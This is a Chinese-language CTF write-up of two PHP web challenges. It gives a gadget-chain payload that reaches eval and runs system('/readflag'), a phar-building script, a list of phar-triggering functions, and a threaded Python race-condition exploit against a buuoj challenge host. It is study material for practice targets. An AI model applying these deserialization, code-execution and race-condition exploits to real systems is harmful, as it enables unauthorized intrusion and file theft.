warmup-php

这道题本身不难就是一个小的代码审计

进去之后有一个代码

<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);
?>

这代码很简单

传入两个变量第一个变量action是实例化一个对象

properties是提供键值对

这样我们就思路清晰了

我们可以控制实例化对象,也可以控制属性的值

这样我们找到可执行函数就好了

给了一个zip文件,解压下来是源码

我们看一下

首先调用了run方法

我们看一下哪里有run方法

这个run方法可以调用下面的renderContent()方法

我们跟进一下

看一下官方文档对这个函数的解释

这个多了一个正则匹配

匹配{ }里面的内容

所以我们要想完成替换就要在这个字符串加上{ }就会调用renderSection(),参数是template

我们跟进一下renderSection()方法

这里面会调用我们传入的参数这个方法

做到这里可能没有什么头绪

我们全局看一下有没有什么可执行函数

在Base.php我们找到了这份eval

我们看一下这个evaluateExpression()怎么触发

在这里有两个php文件都用了这个方法

我们先看一下Filter.php

这个Filter继承了Base不太好处理

我们看一下

TestView.php

这个函数继承了ListView

正好可以触发run()方法

我们重点利用这个类

在这个方法里面可以调用这个evaluateExpression

我们向上推一下

在这个renderTableBody()里面可以调用renderTableRow()

那我们就想办法调用renderTableBody()

至此我们就完成了闭环

我们可以通过上面的template来调用renderTableBody()

整个链子就是

run() -> renderContent() -> renderSection($matches) -> renderTableBody() -> renderTableRow($row) -> evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data))

注意:

在做这道题的时候我在想为什么不能直接调用renderTableRow(),这样不就可以直接命令执行了吗

当然不行

这个没有参数,那个函数是有参数的

payload

GET  
?action=TestView

POST  
properties[template]={TableBody}&properties[rowHtmlOptionsExpression]=system('/readflag');&properties[data]=12

总结

在代码审计的时候多注意继承关系,这个确实没有想到

soeasy_php

这个题确定折腾了半天,看了wp才知道要条件竞争。

一直不知道为什么要条件竞争,发生写入文件,和删除文件的时候,这时候就要考虑一下条件竞争了

这道题的考点其实挺明显的有文件上传,有删除文件的操作

这个任意文件上传但是会给你解析成.png格式的

我们查看源码发现了一些东西

这个暴露出来的东西也挺多的,首先就是当前头像的路径,其次就是upload.php这个应该就是处理上传文件的路径

接下来有一个edit.php,下面写的更换头像,但是在没有在页面上显示出来,看了才知道是被隐藏了,也就是说我们

可以通过edit.php来更换头像,通过png这个参数访问到/uploads这个文件夹,然后替换hend.png,经过测试这里可

以发生任意文件读取。

访问/uploads/head.png

通过任意文件读取我们读取到源码

upload.php

<?php
if (!isset($_FILES['file'])) {
    die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
    echo "上传成功: ".$path;
};

edit.php

<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}


if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }

    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}

先看upload.php

这个就是把文件都变成以png结尾的

重点看一下edit.php

这个copyflag就是把flag复制到/tmp/flag.txt

思路不来了,我们可以触发这个反序列化,然后任意文件读取,读取这个人人都可以读取的/tmp目录

但是看下面的

首先过滤了phar文件名字,再次检查文件内容如果出现flag{ 则执行filewrite()

我们看一下这个函数是干啥的

就是删除这个文件内容,然后把Don't give me flag!!! 填进去

这样我们就没有办法获得flag了

接着往下看

下面就是如果flag等于Give me flag 那就直接退出程序,不等于的话,就把传入的flag写进去,接着将传入的这个文件名字与head.png创立一个软链接成为新头像,我们可以通过访问head.png来访问到上传的文件

我们要打竞争从删除文件与写入文件访问文件这之间打

在删除文件的时候进行写入的同时访问文件

来竞争程序还来不及删除新文件的时间访问文件

对于这道题我们生成一个.phar文件,然后在读取的时候我们用phar伪协议读取,这时候phar伪协议还没有触发

这里补充一下phar伪协议触发函数

fileatime() 
file_put_contents() 
fileinode() 
is_dir()
is readable()
copy()
filectime()
file()
filemtime()
is executable()
is_writable()
unlink()
file exists()
filegroup()
fileowner()
is _file()
is_writeable()
stat()
file get contents()
fopen()
fileperms()
is_link()
parse ini file()
readfile()

发现unlink正好可以触发phar伪协议

在第一次利用phar伪协议的时候我们代码可以运行到这里

那时候phar伪协议没有触发这个时候我们就要绕过这个symlink,我们可以通过""让第二个参数为空从而绕过

然后不断的删除然后再次通过这个unlink进行生成


不断的访问tmp/flag.txt
我们不断地访问这个/uploads/head.php

完成竞争

还就是phar文件的生成

<?php
class flag{
}
$a = new flag();
echo serialize($a);
$phar = new Phar("das.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","testaaa");
$phar -> stopBuffering();
?>

payload

import requests
import threading
import time

url = "http://a63a73ca-965e-41dd-856b-9848ff38f135.node5.buuoj.cn:81"
png = "/uploads/head.png"
flag = "../../../../../../tmp/flag.txt"
phar = """phar://uploads/1bb92ea10c5d93a6a8cecbb98eb48598.png"""

def getpng():
    res = requests.get(url+png)
    print(res.text)

def linkflag():
    data = {
        "flag":"1",
        "png":flag
    }
    res = requests.post(url=url+"/edit.php",data=data)
    print(res.text)

def putphar():
    data = {
        "flag":"1",
        "png":phar
    }
    res = requests.post(url=url+"/edit.php",data=data)
    print(res.text)

while True:
    for i in range(10):
        t3 = threading.Thread(target=putphar)
        t3.start()
        t2 = threading.Thread(target=linkflag)
        t2.start()
        t1 = threading.Thread(target=getpng)
        t1.start()
    time.sleep(5)

总结

文件上传的题确实做的很少,条件竞争这次也算弄的更清楚一些

对于phar伪协议,也学到了它的触发函数,这个以前在学习的时候没有多注意